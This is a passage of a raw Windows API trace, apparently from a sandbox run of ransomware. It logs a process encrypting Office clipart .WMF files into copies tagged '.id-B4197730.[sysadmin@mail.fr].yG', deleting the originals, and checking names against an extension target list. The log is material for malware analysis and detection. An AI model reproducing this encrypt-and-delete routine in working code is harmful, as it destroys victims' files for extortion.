	[0169.221] CloseHandle (hObject=0x554) returned 1
	[0169.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220
	[0169.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0169.222] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.222] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0169.223] GetLastError () returned 0x0
	[0169.223] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3490, lpOverlapped=0x0) returned 1
	[0169.242] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x34a0, lpOverlapped=0x0) returned 1
	[0169.244] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.244] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.244] SetEndOfFile (hFile=0x560) returned 1
	[0169.244] CloseHandle (hObject=0x560) returned 1
	[0169.244] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.244] SetEndOfFile (hFile=0x554) returned 1
	[0169.248] CloseHandle (hObject=0x554) returned 1
	[0169.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1
	[0169.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.251] lstrlenW (lpString=".doc") returned 4
	[0169.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.251] lstrlenW (lpString=".docx") returned 5
	[0169.251] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.251] lstrlenW (lpString=".pdf") returned 4
	[0169.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.251] lstrlenW (lpString=".xls") returned 4
	[0169.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.251] lstrlenW (lpString=".xlsx") returned 5
	[0169.251] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.251] lstrlenW (lpString=".ppt") returned 4
	[0169.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.251] lstrlenW (lpString=".zip") returned 4
	[0169.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.251] lstrlenW (lpString=".rar") returned 4
	[0169.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.251] lstrlenW (lpString=".bz2") returned 4
	[0169.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.251] lstrlenW (lpString=".7z") returned 3
	[0169.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.251] lstrlenW (lpString=".dbf") returned 4
	[0169.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.252] lstrlenW (lpString=".1cd") returned 4
	[0169.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0169.252] lstrlenW (lpString=".jpg") returned 4
	[0169.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.252] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=22532) returned 1
	[0169.253] CloseHandle (hObject=0x554) returned 1
	[0169.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220
	[0169.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0169.254] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.254] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0169.255] GetLastError () returned 0x0
	[0169.255] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x5804, lpOverlapped=0x0) returned 1
	[0169.306] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x5810, lpOverlapped=0x0) returned 1
	[0169.308] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.308] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.308] SetEndOfFile (hFile=0x560) returned 1
	[0169.308] CloseHandle (hObject=0x560) returned 1
	[0169.308] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.308] SetEndOfFile (hFile=0x554) returned 1
	[0169.856] CloseHandle (hObject=0x554) returned 1
	[0169.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1
	[0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.232] lstrlenW (lpString=".doc") returned 4
	[0170.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.232] lstrlenW (lpString=".docx") returned 5
	[0170.232] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.232] lstrlenW (lpString=".pdf") returned 4
	[0170.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.232] lstrlenW (lpString=".xls") returned 4
	[0170.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.232] lstrlenW (lpString=".xlsx") returned 5
	[0170.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.232] lstrlenW (lpString=".ppt") returned 4
	[0170.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.232] lstrlenW (lpString=".zip") returned 4
	[0170.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.233] lstrlenW (lpString=".rar") returned 4
	[0170.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.233] lstrlenW (lpString=".bz2") returned 4
	[0170.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.233] lstrlenW (lpString=".7z") returned 3
	[0170.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.233] lstrlenW (lpString=".dbf") returned 4
	[0170.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.233] lstrlenW (lpString=".1cd") returned 4
	[0170.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68
	[0170.233] lstrlenW (lpString=".jpg") returned 4
	[0170.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.234] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=20212) returned 1
	[0170.234] CloseHandle (hObject=0x388) returned 1
	[0170.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220
	[0170.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0170.236] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.236] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0170.238] GetLastError () returned 0x0
	[0170.238] ReadFile (in: hFile=0x388, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4ef4, lpOverlapped=0x0) returned 1
	[0170.371] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4f00, lpOverlapped=0x0) returned 1
	[0170.373] ReadFile (in: hFile=0x388, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.373] WriteFile (in: hFile=0x560, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.373] SetEndOfFile (hFile=0x560) returned 1
	[0170.376] CloseHandle (hObject=0x560) returned 1
	[0170.376] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.377] SetEndOfFile (hFile=0x388) returned 1
	[0170.381] CloseHandle (hObject=0x388) returned 1
	[0170.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1
	[0170.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.814] lstrlenW (lpString=".doc") returned 4
	[0170.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.814] lstrlenW (lpString=".docx") returned 5
	[0170.815] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.815] lstrlenW (lpString=".pdf") returned 4
	[0170.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString=".xls") returned 4
	[0170.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.815] lstrlenW (lpString=".xlsx") returned 5
	[0170.815] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.815] lstrlenW (lpString=".ppt") returned 4
	[0170.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.815] lstrlenW (lpString=".zip") returned 4
	[0170.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.867] lstrlenW (lpString=".rar") returned 4
	[0170.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.867] lstrlenW (lpString=".bz2") returned 4
	[0170.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.867] lstrlenW (lpString=".7z") returned 3
	[0170.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.867] lstrlenW (lpString=".dbf") returned 4
	[0170.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.867] lstrlenW (lpString=".1cd") returned 4
	[0170.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68
	[0170.867] lstrlenW (lpString=".jpg") returned 4
	[0170.867] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.991] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4136) returned 1
	[0170.991] CloseHandle (hObject=0x56c) returned 1
	[0170.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220
	[0170.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0170.992] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.992] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0170.993] GetLastError () returned 0x0
	[0170.993] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1028, lpOverlapped=0x0) returned 1
	[0171.004] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1030, lpOverlapped=0x0) returned 1
	[0171.006] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.006] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.006] SetEndOfFile (hFile=0x564) returned 1
	[0171.006] CloseHandle (hObject=0x564) returned 1
	[0171.006] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.006] SetEndOfFile (hFile=0x56c) returned 1
	[0171.009] CloseHandle (hObject=0x56c) returned 1
	[0171.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1
	[0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.011] lstrlenW (lpString=".doc") returned 4
	[0171.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.011] lstrlenW (lpString=".docx") returned 5
	[0171.011] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.011] lstrlenW (lpString=".pdf") returned 4
	[0171.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.011] lstrlenW (lpString=".xls") returned 4
	[0171.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.011] lstrlenW (lpString=".xlsx") returned 5
	[0171.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.011] lstrlenW (lpString=".ppt") returned 4
	[0171.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.011] lstrlenW (lpString=".zip") returned 4
	[0171.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.011] lstrlenW (lpString=".rar") returned 4
	[0171.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.012] lstrlenW (lpString=".bz2") returned 4
	[0171.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.012] lstrlenW (lpString=".7z") returned 3
	[0171.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.012] lstrlenW (lpString=".dbf") returned 4
	[0171.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.012] lstrlenW (lpString=".1cd") returned 4
	[0171.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68
	[0171.012] lstrlenW (lpString=".jpg") returned 4
	[0171.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.013] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=15888) returned 1
	[0171.013] CloseHandle (hObject=0x56c) returned 1
	[0171.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220
	[0171.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0171.014] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.014] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.015] GetLastError () returned 0x0
	[0171.015] ReadFile (in: hFile=0x56c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3e10, lpOverlapped=0x0) returned 1
	[0171.017] WriteFile (in: hFile=0x564, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3e20, lpOverlapped=0x0) returned 1
